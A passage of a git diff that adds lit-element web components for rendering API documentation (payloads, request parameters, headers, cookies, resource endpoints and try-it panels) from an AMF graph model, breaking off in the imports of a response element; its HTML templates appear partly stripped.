[...super.styles, elementStyles]; + } + + /** + * @returns {ApiSecuritySettingsUnion|undefined} + */ + get settings() { + return this[settingsValue]; + } + + /** + * @returns {ApiSecuritySettingsUnion|undefined} + */ + set settings(value) { + const old = this[settingsValue]; + if (old === value) { + return; + } + this[settingsValue] = value; + this.requestUpdate(); + } + + constructor() { + super(); + /** @type {ApiSecuritySettingsUnion} */ + this[settingsValue] = undefined; + } + + /** + * @returns {TemplateResult|string} The template for the security settings, when required. + */ + [settingsTemplate]() { + const appliedSettings = this[settingsValue]; + if (!appliedSettings) { + return super[settingsTemplate](); + } + const scheme = this[securityValue]; + const { settings } = scheme; + if (!settings) { + return ''; + } + const { types } = settings; + const mergedSettings = this[mergeSettings](appliedSettings, settings); + + if (types.includes(ns.aml.vocabularies.security.ApiKeySettings)) { + return this[apiKeySettingsTemplate](mergedSettings); + } + if (types.includes(ns.aml.vocabularies.security.OpenIdConnectSettings)) { + return this[openIdConnectSettingsTemplate](mergedSettings); + } + if (types.includes(ns.aml.vocabularies.security.OAuth2Settings)) { + return this[oAuth2SettingsTemplate](/** @type ApiSecurityOAuth2Settings */ (mergedSettings)); + } + return ''; + } + + /** + * @param {ApiSecuritySettingsUnion} applied The settings applied to the current object + * @param {ApiSecuritySettingsUnion} scheme The settings defined in the scheme + * @returns {ApiSecuritySettingsUnion} The merged settings to render. + */ + [mergeSettings](applied, scheme) { + const result = { ...scheme }; + Object.keys(applied).forEach((key) => { + if (['id', 'types', 'additionalProperties'].includes(key)) { + return; + } + result[key] = applied[key]; + }); + return result; + } +} diff --git a/src/elements/ApiPayloadDocumentElement.js b/src/elements/ApiPayloadDocumentElement.js new file mode 100644 index 0000000..c92dc31 --- /dev/null +++ b/src/elements/ApiPayloadDocumentElement.js @@ -0,0 +1,147 @@ +/* eslint-disable class-methods-use-this */ +import { html } from 'lit-element'; +import commonStyles from './styles/Common.js'; +import elementStyles from './styles/ApiPayload.js'; +import { + ApiDocumentationBase, + serializerValue, + evaluateExamples, + examplesTemplate, + examplesValue, +} from './ApiDocumentationBase.js'; +import '../../api-schema-document.js'; + +/** @typedef {import('lit-element').TemplateResult} TemplateResult */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiPayload} ApiPayload */ +/** @typedef {import('@api-components/amf-helper-mixin').Payload} Payload */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiShapeUnion} ApiShapeUnion */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiExample} ApiExample */ +/** @typedef {import('@api-components/api-schema').SchemaExample} SchemaExample */ + +export const queryPayload = Symbol('queryPayload'); +export const queryExamples = Symbol('queryExamples'); +export const payloadValue = Symbol('payloadValue'); +export const processPayload = Symbol('processPayload'); +export const mediaTypeTemplate = Symbol('mediaTypeTemplate'); +export const nameTemplate = Symbol('nameTemplate'); +export const schemaTemplate = Symbol('schemaTemplate'); + +export default class ApiPayloadDocumentElement extends ApiDocumentationBase { + get styles() { + return [commonStyles, elementStyles]; + } + + /** + * @returns {ApiPayload} + */ + get payload() { + return this[payloadValue]; + } + + /** + * @param {ApiPayload} value + */ + set payload(value) { + const old = this[payloadValue]; + if (old === value) { + return; + } + this[payloadValue] = value; + this.processGraph(); + } + + constructor() { + super(); + /** + * @type {ApiPayload} + */ + this[payloadValue] = undefined; + /** @type Payload */ + this.domainModel = undefined; + } + + /** + * Queries the graph store for the API Payload data. + * @returns {Promise} + */ + async processGraph() { + const { domainModel } = this; + if (domainModel) { + this[payloadValue] = this[serializerValue].payload(domainModel); + } + await this[processPayload](); + await this.requestUpdate(); + } + + async [processPayload]() { + this[examplesValue] = undefined; + const { payload } = this; + if (!payload) { + return; + } + const { mediaType='' } = payload; + const { examples } = payload; + if (Array.isArray(examples) && examples.length) { + this[examplesValue] = this[evaluateExamples](examples, mediaType); + } + } + + render() { + const { payload } = this; + if (!payload) { + return html``; + } + return html` + + ${this[nameTemplate]()} + ${this[mediaTypeTemplate]()} + ${this[examplesTemplate]()} + ${this[schemaTemplate]()} + `; + } + + /** + * @return {TemplateResult|string} The template for the payload mime type. + */ + [mediaTypeTemplate]() { + const { payload } = this; + const { mediaType } = payload; + if (!mediaType) { + return ''; + } + return html` +
+ + ${mediaType} +
+ `; + } + + /** + * @return {TemplateResult|string} The template for the payload name + */ + [nameTemplate]() { + const { payload } = this; + const { name } = payload; + if (!name) { + return ''; + } + return html` +
${name}
+ `; + } + + /** + * @return {TemplateResult} The template for the payload's schema + */ + [schemaTemplate]() { + const { payload } = this; + const { schema, mediaType } = payload; + if (!schema) { + return html`
Schema is not defined for this payload.
`; + } + return html` + + `; + } +} diff --git a/src/elements/ApiRequestDocumentElement.js b/src/elements/ApiRequestDocumentElement.js new file mode 100644 index 0000000..f72bc0c --- /dev/null +++ b/src/elements/ApiRequestDocumentElement.js @@ -0,0 +1,418 @@ +/* eslint-disable class-methods-use-this */ +import { html } from 'lit-element'; +import '@anypoint-web-components/anypoint-radio-button/anypoint-radio-button.js'; +import '@anypoint-web-components/anypoint-radio-button/anypoint-radio-group.js'; +import commonStyles from './styles/Common.js'; +import elementStyles from './styles/ApiRequest.js'; +import { + ApiDocumentationBase, + paramsSectionTemplate, + schemaItemTemplate, + // descriptionTemplate, + // customDomainPropertiesTemplate, + serializerValue, +} from './ApiDocumentationBase.js'; +import { QueryParameterProcessor } from '../lib/QueryParameterProcessor.js'; +import '../../api-payload-document.js'; +import '../../api-parameter-document.js'; + +/** @typedef {import('lit-element').TemplateResult} TemplateResult */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiRequest} ApiRequest */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiPayload} ApiPayload */ +/** @typedef {import('@api-components/amf-helper-mixin').Request} Request */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiNodeShape} ApiNodeShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiArrayShape} ApiArrayShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiServer} ApiServer */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiEndPoint} ApiEndPoint */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiParameter} ApiParameter */ +/** @typedef {import('@anypoint-web-components/anypoint-radio-button/index').AnypointRadioGroupElement} AnypointRadioGroupElement */ +/** @typedef {import('../types').OperationParameter} OperationParameter */ + +export const queryRequest = Symbol('queryRequest'); +export const requestValue = Symbol('requestValue'); +export const queryPayloads = Symbol('queryPayloads'); +export const payloadsValue = Symbol('payloadsValue'); +export const payloadValue = Symbol('payloadValue'); +export const notifyMime = Symbol('notifyMime'); +export const preselectMime = Symbol('preselectMime'); +export const queryParamsTemplate = Symbol('queryParamsTemplate'); +export const headersTemplate = Symbol('headersTemplate'); +export const cookiesTemplate = Symbol('cookiesTemplate'); +export const payloadTemplate = Symbol('payloadTemplate'); +export const payloadSelectorTemplate = Symbol('payloadSelectorTemplate'); +export const mediaTypeSelectHandler = Symbol('mediaTypeSelectHandler'); +export const processQueryParameters = Symbol('processQueryParameters'); +export const queryParametersValue = Symbol('queryParametersValue'); + +/** + * A web component that renders the documentation page for an API request object. + */ +export default class ApiRequestDocumentElement extends ApiDocumentationBase { + get styles() { + return [commonStyles, elementStyles]; + } + + /** + * @returns {boolean} true when has cookie parameters definition + */ + get hasCookieParameters() { + const request = this[requestValue]; + if (!request) { + return false; + } + return Array.isArray(request.cookieParameters) && !!request.cookieParameters.length; + } + + /** + * @returns {boolean} true when has headers parameters definition + */ + get hasHeaders() { + const request = this[requestValue]; + if (!request) { + return false; + } + return Array.isArray(request.headers) && !!request.headers.length; + } + + /** + * @returns {boolean} true when has query parameters definition + */ + get hasQueryParameters() { + const request = this[requestValue]; + if (!request) { + return false; + } + return Array.isArray(request.queryParameters) && !!request.queryParameters.length; + } + + /** + * @returns {ApiParameter[]} The combined list of path parameters in the server, endpoint, and the request. + */ + get uriParameters() { + const request = /** @type ApiRequest */ (this[requestValue]); + const { server, endpoint } = this; + let result = /** @type ApiParameter[] */ ([]); + if (server && Array.isArray(server.variables) && server.variables.length) { + result = result.concat(server.variables); + } + if (endpoint && Array.isArray(endpoint.parameters) && endpoint.parameters.length) { + result = result.concat(endpoint.parameters); + } + if (request && Array.isArray(request.uriParameters) && request.uriParameters.length) { + result = result.concat(request.uriParameters); + } + return result; + } + + /** + * @returns {boolean} true when has query string definition + */ + get hasQueryString() { + const request = /** @type ApiRequest */ (this[requestValue]); + if (!request) { + return false; + } + return !!request.queryString; + } + + /** + * @returns {ApiPayload|undefined} + */ + get [payloadValue]() { + const { mimeType } = this; + const payloads = this[payloadsValue]; + if (!Array.isArray(payloads) || !payloads.length) { + return undefined; + } + if (!mimeType) { + return payloads[0]; + } + return payloads.find((item) => item.mediaType === mimeType); + } + + /** + * @returns {ApiRequest} + */ + get request() { + return this[requestValue]; + } + + /** + * @param {ApiRequest} value + */ + set request(value) { + const old = this[requestValue]; + if (old === value) { + return; + } + this[requestValue] = value; + this.processGraph(); + } + + static get properties() { + return { + /** + * When set it opens the parameters section + */ + parametersOpened: { type: Boolean, reflect: true }, + /** + * When set it opens the headers section + */ + headersOpened: { type: Boolean, reflect: true }, + /** + * When set it opens the cookies section + */ + cookiesOpened: { type: Boolean, reflect: true }, + /** + * When set it opens the payload section + */ + payloadOpened: { type: Boolean, reflect: true }, + /** + * The currently selected media type for the payloads. + */ + mimeType: { type: String, reflect: true }, + /** + * The current server in use. + * It adds path parameters defined for the server. + */ + server: { type: Object }, + /** + * The parent endpoint of this request. + * It adds path parameters defined for the endpoint. + */ + endpoint: { type: Object }, + }; + } + + constructor() { + super(); + /** + * @type {ApiRequest} + */ + this[requestValue] = undefined; + /** + * @type {ApiPayload[]} + */ + this[payloadsValue] = undefined; + /** @type {string} */ + this.mimeType = undefined; + /** @type {boolean} */ + this.headersOpened = undefined; + /** @type {boolean} */ + this.payloadOpened = undefined; + /** @type {boolean} */ + this.cookiesOpened = undefined; + /** @type {boolean} */ + this.parametersOpened = undefined; + /** @type {Request} */ + this.domainModel = undefined; + /** @type {ApiServer} */ + this.server = undefined; + /** @type {ApiEndPoint} */ + this.endpoint = undefined; + /** @type {OperationParameter[]} */ + this[queryParametersValue] = undefined; + } + + /** + * @returns {Promise} + */ + async processGraph() { + const { domainModel } = this; + if (domainModel) { + this[requestValue] = this[serializerValue].request(domainModel); + } + this.mimeType = undefined; + await this[queryPayloads](); + await this[processQueryParameters](); + await this[preselectMime](); + await this.requestUpdate(); + } + + async [queryPayloads]() { + const { request } = this; + if (!request || !request.payloads.length) { + this[payloadsValue] = undefined; + return; + } + this[payloadsValue] = request.payloads; + } + + /** + * Creates a parameter + */ + async [processQueryParameters]() { + this[queryParametersValue] = undefined; + const { request } = this; + if (!request) { + return; + } + const nodeShape = /** @type ApiNodeShape */ (request.queryString); + if (!nodeShape) { + return; + } + const factory = new QueryParameterProcessor(); + const params = factory.collectOperationParameters(request.queryString, 'query'); + this[queryParametersValue] = params; + } + + /** + * Pre-selects when needed the mime type for the current payload. + */ + [preselectMime]() { + const { mimeType } = this; + const payloads = this[payloadsValue]; + if (!Array.isArray(payloads) || !payloads.length) { + return; + } + const mime = /** @type string[] */ ([]); + let hasCurrent = false; + payloads.forEach((item) => { + if (item.mediaType) { + mime.push(item.mediaType); + if (!hasCurrent && item.mediaType === mimeType) { + hasCurrent = true; + } + } + }); + // do not change the selection when already exist. + if (hasCurrent) { + return; + } + if (!mime.length) { + return; + } + const [first] = mime; + this.mimeType = first; + this[notifyMime](); + } + + /** + * @param {Event} e + */ + [mediaTypeSelectHandler](e) { + const group = /** @type AnypointRadioGroupElement */ (e.target); + const { selectedItem } = group; + if (!selectedItem) { + return; + } + const mime = selectedItem.dataset.value; + this.mimeType = mime; + this[notifyMime](); + } + + /** + * Dispatches the `mimechange` event. + */ + [notifyMime]() { + this.dispatchEvent(new Event('mimechange')); + } + + render() { + const { request, server, endpoint } = this; + if (!request && !server && !endpoint) { + return html``; + } + return html` + + ${this[queryParamsTemplate]()} + ${this[headersTemplate]()} + ${this[cookiesTemplate]()} + ${this[payloadTemplate]()} + `; + } + + /** + * @return {TemplateResult|string} The template for the query parameters + */ + [queryParamsTemplate]() { + const { uriParameters, hasQueryParameters } = this; + if (!hasQueryParameters && !uriParameters.length) { + return ''; + } + const { request } = this; + let queryParameters = []; + if (request && Array.isArray(request.queryParameters)) { + queryParameters = request.queryParameters; + } + if (!queryParameters.length && this[queryParametersValue] && this[queryParametersValue].length) { + queryParameters = this[queryParametersValue].map(i => i.parameter); + } + const content = []; + uriParameters.forEach(param => content.push(this[schemaItemTemplate](param, 'uri'))); + queryParameters.forEach(param => content.push(this[schemaItemTemplate](param, 'query'))); + return this[paramsSectionTemplate]('Parameters', 'parametersOpened', content); + } + + /** + * @return {TemplateResult|string} The template for the headers + */ + [headersTemplate]() { + if (!this.hasHeaders) { + return ''; + } + const { request } = this; + const content = request.headers.map((param) => this[schemaItemTemplate](param, 'header')); + return this[paramsSectionTemplate]('Headers', 'headersOpened', content); + } + + /** + * @return {TemplateResult|string} The template for the cookies list section + */ + [cookiesTemplate]() { + if (!this.hasCookieParameters) { + return ''; + } + const { request } = this; + const content = request.cookieParameters.map((param) => this[schemaItemTemplate](param, 'cookie')); + return this[paramsSectionTemplate]('Cookies', 'cookiesOpened', content); + } + + /** + * @return {TemplateResult|string} The template for the payload section + */ + [payloadTemplate]() { + const payload = this[payloadValue]; + if (!payload) { + return ''; + } + const content = html` + ${this[payloadSelectorTemplate]()} + + `; + return this[paramsSectionTemplate]('Request body', 'payloadOpened', content); + } + + /** + * @return {TemplateResult|string} The template for the payload media type selector. + */ + [payloadSelectorTemplate]() { + const payloads = this[payloadsValue]; + if (!Array.isArray(payloads) || payloads.length < 2) { + return ''; + } + const mime = /** @type string[] */ ([]); + payloads.forEach((item) => { + if (item.mediaType) { + mime.push(item.mediaType); + } + }); + if (!mime.length) { + return ''; + } + const mimeType = this.mimeType || mime[0]; + return html` +
+ + + ${mime.map((item) => + html`${item}`)} + +
+ `; + } +} diff --git a/src/elements/ApiResourceDocumentationElement.js b/src/elements/ApiResourceDocumentationElement.js new file mode 100644 index 0000000..d99668b --- /dev/null +++ b/src/elements/ApiResourceDocumentationElement.js @@ -0,0 +1,711 @@ +/* eslint-disable class-methods-use-this */ +import { html } from 'lit-element'; +import { classMap } from 'lit-html/directives/class-map.js'; +import { MarkdownStyles } from '@advanced-rest-client/highlight'; +import { UrlLib } from '@api-components/api-request'; +import '@api-components/api-request/api-request-panel.js'; +import elementStyles from './styles/ApiResource.js'; +import commonStyles from './styles/Common.js'; +import { + ApiDocumentationBase, + descriptionTemplate, + serializerValue, + customDomainPropertiesTemplate, +} from './ApiDocumentationBase.js'; +import { joinTraitNames } from '../lib/Utils.js'; +import '../../api-operation-document.js' +import '../../api-parameter-document.js'; + +/** @typedef {import('lit-element').TemplateResult} TemplateResult */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiEndPoint} ApiEndPoint */ +/** @typedef {import('@api-components/amf-helper-mixin').EndPoint} EndPoint */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiServer} ApiServer */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiOperation} ApiOperation */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiAnyShape} ApiAnyShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiScalarShape} ApiScalarShape */ +/** @typedef {import('@api-components/api-server-selector').ServerType} ServerType */ +/** @typedef {import('@api-components/api-request').ApiRequestPanelElement} ApiRequestPanelElement */ +/** @typedef {import('@api-components/api-request/src/types').ApiConsoleRequest} ApiConsoleRequest */ + +export const operationIdValue = Symbol('operationIdValue'); +export const queryEndpoint = Symbol('queryEndpoint'); +export const queryServers = Symbol('queryServers'); +export const endpointValue = Symbol('endpointValue'); +export const serversValue = Symbol('serversValue'); +export const serverValue = Symbol('serverValue'); +export const serverIdValue = Symbol('serverIdValue'); +export const urlValue = Symbol('urlValue'); +export const baseUriValue = Symbol('baseUriValue'); +export const computeUrlValue = Symbol('computeUrlValue'); +export const titleTemplate = Symbol('titleTemplate'); +export const urlTemplate = Symbol('urlTemplate'); +export const operationsTemplate = Symbol('operationsTemplate'); +export const operationTemplate = Symbol('operationTemplate'); +export const operationIdChanged = Symbol('operationIdChanged'); +export const selectServer = Symbol('selectServer'); +export const processServerSelection = Symbol('processServerSelection'); +export const extensionsTemplate = Symbol('extensionsTemplate'); +export const tryItColumnTemplate = Symbol('tryItColumnTemplate'); +export const httpRequestTemplate = Symbol('tryItPanelTemplate'); +export const codeSnippetsPanelTemplate = Symbol('codeSnippetsPanelTemplate'); +export const requestChangeHandler = Symbol('requestChangeHandler'); +export const requestValues = Symbol('requestValues'); +export const collectCodeSnippets = Symbol('collectCodeSnippets'); +export const processSelectionTimeout = Symbol('processSelectionTimeout'); +export const extendsTemplate = Symbol('extendsTemplate'); +export const traitsTemplate = Symbol('traitsTemplate'); + +/** + * A web component that renders the resource documentation page for an API resource built from + * the AMF graph model. + * + * @fires tryit + */ +export default class ApiResourceDocumentationElement extends ApiDocumentationBase { + get styles() { + return [elementStyles, commonStyles, MarkdownStyles]; + } + + /** + * @returns {ApiEndPoint|undefined} + */ + get endpoint() { + return this[endpointValue]; + } + + /** + * @param {ApiEndPoint} value + */ + set endpoint(value) { + const old = this[endpointValue]; + if (old === value) { + return; + } + this[endpointValue] = value; + this.processGraph(); + } + + /** @returns {string} */ + get operationId() { + return this[operationIdValue]; + } + + /** @param {string} value */ + set operationId(value) { + const old = this[operationIdValue]; + if (old === value) { + return; + } + this[operationIdValue] = value; + this.requestUpdate('operationId', old); + this[operationIdChanged](); + } + + /** @returns {string} */ + get serverId() { + return this[serverIdValue]; + } + + /** @param {string} value */ + set serverId(value) { + const old = this[serverIdValue]; + if (old === value) { + return; + } + this[serverIdValue] = value; + this[selectServer](); + this[processServerSelection](); + this.requestUpdate(); + } + + /** @returns {ApiServer|undefined} */ + get server() { + if (this[serverValue]) { + return this[serverValue]; + } + const servers = this[serversValue]; + if (Array.isArray(servers) && servers.length) { + const [server] = servers; + if (server) { + this[serverValue] = server; + } + } + return this[serverValue]; + } + + /** @param {ApiServer} value */ + set server(value) { + const old = this[serverValue]; + if (old === value) { + return; + } + this[serverValue] = value; + this[processServerSelection](); + this.requestUpdate(); + } + + /** + * @returns {ApiServer[]} The list of the servers read from the API and the endpoint. + */ + get servers() { + return this[serversValue]; + } + + /** + * @returns {string|undefined} The list of protocols to render. + */ + get protocol() { + const { server } = this; + if (!server) { + return undefined; + } + const { protocol } = server; + return protocol; + } + + /** + * @returns {string|undefined} + */ + get baseUri() { + return this[baseUriValue]; + } + + /** + * @param {string} value + */ + set baseUri(value) { + const old = this[baseUriValue]; + if (old === value) { + return; + } + this[baseUriValue] = value; + this[computeUrlValue](); + this.requestUpdate(); + } + + /** + * @returns {string|undefined} The computed URI for the endpoint. + */ + get endpointUri() { + return this[urlValue]; + } + + static get properties() { + return { + /** + * A property to set to override AMF's model base URI information. + * When this property is set, the `endpointUri` property is recalculated. + */ + baseUri: { type: String }, + /** + * The id of the currently selected server to use to construct the URL. + * If not set a first server in the API servers array is used. + */ + serverId: { type: String, reflect: true }, + /** + * When set it scrolls to the operation with the given id, if exists. + * The operation is performed after render. + */ + operationId: { type: String, reflect: true }, + /** + * When set it opens the parameters section + */ + parametersOpened: { type: Boolean, reflect: true }, + /** + * When set it renders the "try it" button that dispatches the `tryit` event. + */ + tryItButton: { type: Boolean, reflect: true }, + /** + * When set it renders the "try it" panel next to the operation documentation. + * Setting this automatically disables the `tryItButton` property. + * + * Note, use this only when there's enough space on the screen to render 2 panels side-by-side. + */ + tryItPanel: { type: Boolean, reflect: true }, + /** + * When set it renders the URL input above the URL parameters in the HTTP editor. + */ + httpUrlEditor: { type: Boolean, reflect: true }, + /** + * When set it applies the authorization values to the request dispatched + * with the API request event. + * If possible, it applies the authorization values to query parameter or headers + * depending on the configuration. + * + * When the values arr applied to the request the authorization config is kept in the + * request object, but its `enabled` state is always `false`, meaning other potential + * processors should ignore this values. + * + * If this property is not set then the application hosting this component should + * process the authorization data and apply them to the request. + */ + httpApplyAuthorization: { type: Boolean, reflect: true }, + /** + * List of credentials source passed to the HTTP editor + */ + httpCredentialsSource: { type: Array }, + /** + * OAuth2 redirect URI. + * This value **must** be set in order for OAuth 1/2 to work properly. + * This is only required in inline mode (`inlineMethods`). + */ + redirectUri: { type: String }, + /** + * Optional property to set on the request editor. + * When true, the server selector is not rendered + */ + httpNoServerSelector: { type: Boolean }, + /** + * When set it renders "add custom" item button in the HTTP request editor. + * If the element is to be used without AMF model this should always + * be enabled. Otherwise users won't be able to add a parameter. + */ + httpAllowCustom: { type: Boolean }, + /** + * Optional property to set on the request editor. + * If true, the server selector custom base URI option is rendered + */ + httpAllowCustomBaseUri: { type: Boolean }, + /** + * When set it renders the view optimised for asynchronous API operation. + */ + asyncApi: { type: Boolean, reflect: true }, + /** + * Holds the value of the currently selected server + * Data type: URI + */ + serverValue: { type: String }, + /** + * Holds the type of the currently selected server + * Values: `server` | `uri` | `custom` + */ + serverType: { type: String }, + }; + } + + // /** + // * @returns {boolean} true when the API operated over an HTTP protocol. By default it returns true. + // */ + // get isHttp() { + // const { protocol } = this; + // return ['http', 'https'].includes(String(protocol).toLowerCase()); + // } + + constructor() { + super(); + /** + * @type {ApiEndPoint} + */ + this[endpointValue] = undefined; + /** + * @type {ApiServer[]} + */ + this[serversValue] = undefined; + /** + * @type {string} + */ + this[urlValue] = undefined; + + this.parametersOpened = false; + /** + * @type {string} + */ + this.operationId = undefined; + /** @type {EndPoint} */ + this.domainModel = undefined; + /** @type {boolean} */ + this.tryItButton = undefined; + /** @type {boolean} */ + this.tryItPanel = undefined; + /** @type {boolean} */ + this.httpUrlEditor = undefined; + /** @type {boolean} */ + this.httpNoServerSelector = undefined; + /** @type {boolean} */ + this.httpAllowCustomBaseUri = undefined; + /** @type {boolean} */ + this.httpAllowCustom = undefined; + /** @type {boolean} */ + this.asyncApi = undefined; + /** @type {string} */ + this.redirectUri = undefined; + /** @type {ServerType} */ + this.serverType = undefined; + /** @type {string} */ + this.serverValue = undefined; + /** @type {boolean} */ + this.httpApplyAuthorization = undefined; + this.httpCredentialsSource = undefined; + /** @type ApiServer */ + this[serverValue] = undefined; + /** @type {Record} */ + this[requestValues] = {}; + } + + disconnectedCallback() { + if (this[processSelectionTimeout]) { + clearTimeout(this[processSelectionTimeout]); + this[processSelectionTimeout] = undefined; + } + super.disconnectedCallback(); + } + + /** + * Scrolls the view to the operation, when present in the DOM. + * @param {string} id The operation domain id to scroll into. + */ + scrollToOperation(id) { + const elm = this.shadowRoot.querySelector(`api-operation-document[data-domain-id="${id}"]`); + if (!elm) { + return; + } + elm.scrollIntoView({block: 'start', inline: 'nearest', behavior: 'smooth'}); + } + + /** + * @returns {Promise} + */ + async processGraph() { + const { domainModel, domainId, amf } = this; + this[requestValues] = /** @type {Record} */ ({}); + if (domainModel) { + this[endpointValue] = this[serializerValue].endPoint(domainModel); + } else if (domainId && amf) { + if (!this[endpointValue] || this[endpointValue].id !== domainId) { + const webApi = this._computeApi(amf); + const model = this._computeEndpointModel(webApi, domainId); + if (model) { + this[endpointValue] = this[serializerValue].endPoint(model); + } + } + } + await this[queryServers](); + this[computeUrlValue](); + await this.requestUpdate(); + if (this[processSelectionTimeout]) { + clearTimeout(this[processSelectionTimeout]); + this[processSelectionTimeout] = undefined; + } + // this timeout gives few milliseconds for operations to render. + this[processSelectionTimeout] = setTimeout(() => { + this[processSelectionTimeout] = undefined; + this[collectCodeSnippets](); + if (this.operationId) { + this.scrollToOperation(this.operationId); + } + }, 200); + } + + /** + * Scrolls to the selected operation after view update. + */ + async [operationIdChanged]() { + await this.updateComplete; + const { operationId } = this; + if (operationId) { + this.scrollToOperation(operationId); + } else { + this.scrollIntoView({block: 'start', inline: 'nearest', behavior: 'smooth'}); + } + } + + /** + * Queries for the current servers value. + */ + async [queryServers]() { + this[serversValue] = undefined; + const { domainId } = this; + const endpointId = this[endpointValue] && this[endpointValue].id; + const servers = this._getServers({ + endpointId, + methodId: domainId, + }); + if (Array.isArray(servers) && servers.length) { + this[serversValue] = servers.map(server => this[serializerValue].server(server)); + } + } + + /** + * Sets the private server value for the current server defined by `serverId`. + * Calls the `[processServerSelection]()` function to set server related values. + * @returns {void} + */ + [selectServer]() { + this[serverValue] = undefined; + const { serverId } = this; + const servers = this[serversValue]; + if (!serverId || !Array.isArray(servers)) { + return; + } + this[serverValue] = servers.find(s => s.id === serverId); + } + + /** + * Performs actions after a server is selected. + */ + [processServerSelection]() { + this[computeUrlValue](); + } + + /** + * Computes the URL value for the current serves, selected server, and endpoint's path. + */ + [computeUrlValue]() { + const endpoint = this[endpointValue]; + const { baseUri, server } = this; + const wa = this._computeWebApi(this.amf); + const protocols = /** @type string[] */ (this._getValueArray(wa, this.ns.aml.vocabularies.apiContract.scheme)); + const url = UrlLib.computeEndpointUri({ baseUri, server, endpoint, protocols, }); + this[urlValue] = url; + } + + /** + * Runs over each request editor and collects request values for code snippets generators. + */ + [collectCodeSnippets]() { + const panels = this.shadowRoot.querySelectorAll('api-request-panel'); + if (!panels.length) { + return; + } + Array.from(panels).forEach((panel) => { + const { requestId } = panel.dataset; + if (!requestId) { + return; + } + const request = panel.serialize(); + this[requestValues][requestId] = request; + }); + this.requestUpdate(); + } + + /** + * @param {Event} e + */ + [requestChangeHandler](e) { + const panel = /** @type ApiRequestPanelElement */ (e.target); + const { requestId } = panel.dataset; + if (!requestId) { + return; + } + const request = panel.serialize(); + this[requestValues][requestId] = request; + this.requestUpdate(); + } + + render() { + const { endpoint } = this; + if (!endpoint) { + return html``; + } + return html` + + ${this[titleTemplate]()} + ${this[urlTemplate]()} + ${this[extensionsTemplate]()} + ${this[descriptionTemplate](endpoint.description)} + ${this[customDomainPropertiesTemplate](endpoint.customDomainProperties)} + ${this[operationsTemplate]()} + `; + } + + /** + * @returns {TemplateResult|string} The template for the Operation title. + */ + [titleTemplate]() { + const { endpoint} = this; + const { name, path } = endpoint; + const label = name || path; + if (!label) { + return ''; + } + const subLabel = this.asyncApi ? 'API channel' : 'API endpoint'; + return html` +
+
+ ${label} +
+

${subLabel}

+
+ `; + } + + /** + * @returns {TemplateResult} The template for the operation's URL. + */ + [urlTemplate]() { + const url = this[urlValue]; + return html` +
+
${url}
+
+ `; + } + + /** + * @returns {TemplateResult|string} The template for the list of operations. + */ + [operationsTemplate]() { + const { endpoint } = this; + const { operations } = endpoint; + if (!operations.length) { + return ''; + } + return html` + ${operations.map((operation) => this[operationTemplate](operation))} + `; + } + + /** + * @param {ApiOperation} operation The operation to render. + * @returns {TemplateResult} The template for the API operation. + */ + [operationTemplate](operation) { + const { serverId, baseUri, tryItPanel, tryItButton } = this; + const renderTryIt = !tryItPanel && !!tryItButton; + const classes = { + 'operation-container': true, + tryit: tryItPanel, + }; + return html` +
+ + ${tryItPanel ? this[tryItColumnTemplate](operation) : ''} +
+ `; + } + + /** + * @param {ApiOperation} operation The operation to render. + * @returns {TemplateResult|string} The template for the try it column panel rendered next to the operation documentation/ + */ + [tryItColumnTemplate](operation) { + if (this.asyncApi) { + return ''; + } + return html` +
+ + ${this[httpRequestTemplate](operation)} + ${this[codeSnippetsPanelTemplate](operation)} + +
+ `; + } + + /** + * @param {ApiOperation} operation The operation to render. + * @returns {TemplateResult} The template for the request editor. + */ + [httpRequestTemplate](operation) { + const content = html` + + `; + + return content; + } + + /** + * @param {ApiOperation} operation The operation to render. + * @returns {TemplateResult|string} The template for the request's code snippets. + */ + [codeSnippetsPanelTemplate](operation) { + const values = this[requestValues][operation.id]; + if (!values) { + return ''; + } + let { payload } = values + if (payload && typeof payload !== 'string') { + payload = ''; + } + return html` +
+ +
+ `; + } + + /** + * @return {TemplateResult|string} The template for the endpoint's extensions. + */ + [extensionsTemplate]() { + const { endpoint, ns } = this; + const { extends: extensions } = endpoint; + + if (!extensions || !extensions.length) { + return ''; + } + + const type = extensions.find(e => e.types.includes(ns.aml.vocabularies.apiContract.ParametrizedResourceType)); + const traits = extensions.filter(e => e.types.includes(ns.aml.vocabularies.apiContract.ParametrizedTrait)); + const traitsLabel = joinTraitNames(traits); + const typeLabel = type && type.name; + if (!traitsLabel && !typeLabel) { + return ''; + } + return html` +
+ ${this[extendsTemplate](typeLabel)} ${this[traitsTemplate](traitsLabel)} +
+ `; + } + + /** + * @param {string} label + * @returns {TemplateResult|string} The template for the parent resource type. + */ + [extendsTemplate](label) { + if (!label) { + return ''; + } + return html`Implements ${label}.`; + } + + /** + * @param {string} label + * @returns {TemplateResult|string} The template for the traits applied to the resource. + */ + [traitsTemplate](label) { + if (!label) { + return ''; + } + return html`Mixes in ${label}.`; + } +} diff --git a/src/elements/ApiResponseDocumentElement.js b/src/elements/ApiResponseDocumentElement.js new file mode 100644 index 0000000..b42f0de --- /dev/null +++ b/src/elements/ApiResponseDocumentElement.js @@ -0,0 +1,327 @@ +/* eslint-disable class-methods-use-this */ +import { html } from 'lit-element'; +import { MarkdownStyles } from '@advanced-rest-client/highlight'; +import '@advanced-rest-client/highlight/arc-marked.js'; +import '@anypoint-web-components/anypoint-button/anypoint-button.js'; +import '@anypoint-web-components/anypoint-collapse/anypoint-collapse.js'; +import '@advanced-rest-client/arc-icons/arc-icon.js'; +import '@anypoint-web-components/anypoint-radio-button/anypoint-radio-button.js'; +import '@anypoint-web-components/anypoint-radio-button/anypoint-radio-group.js'; +import commonStyles from './styles/Common.js'; +import elementStyles from './styles/ApiResponse.js'; +import '../../api-payload-document.js'; +import '../../api-parameter-document.js'; +import { + ApiDocumentationBase, + paramsSectionTemplate, + schemaItemTemplate, + descriptionTemplate, + serializerValue, + 